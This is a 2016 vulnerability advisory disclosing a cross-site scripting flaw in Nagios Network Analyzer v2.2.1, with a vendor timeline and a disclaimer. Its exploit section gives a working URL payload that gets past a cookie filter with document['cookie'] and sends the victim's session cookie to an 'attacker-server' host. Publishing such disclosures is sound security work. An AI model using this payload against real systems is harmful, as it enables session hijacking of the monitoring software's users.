[+] Credits: John Page - HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/NAGIOS-NA-v2.2.1-XSS.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.nagios.com



Product:
==============================
Nagios Network Analyzer v2.2.1

Netflow Analysis, Monitoring, and Bandwidth Utilization Software

Network Analyzer provides an in-depth look at all network traffic sources
and potential security threats allowing system
admins to quickly gather high-level information regarding the health of the
network as well as highly granular data for
complete and thorough network analysis.




Vulnerability Type:
==========================
Cross Site Scripting (XSS)



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Nagios NA has XSS vector which enables attackers to inject client-side
scripts into web pages viewed by other users. A cross-site scripting
vulnerability may be
used by attackers to bypass access controls such as the same-origin policy.
The application seems to filter injecting "document.cookie", however we can
bypass
this by using document['cookie'] in its place.




Exploit code(s):
===============


Steal Session Cookie

http://victim-server/nagiosna/index.php/sources/queries/1?q[begindate]=-24+hours&q[enddate]=-1+second&q[aggregate_csv]=&q[qid]=%27%27;window.open(%22http://attacker-server/c.php?c=%22%2bdocument[%27cookie%27])//




Disclosure Timeline:
======================================
Vendor Notification:  July 20, 2016
Vendor Acknowledgement: July 21, 2016
Vendor Fix / Release: August 1, 2016
August 8, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
Low



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX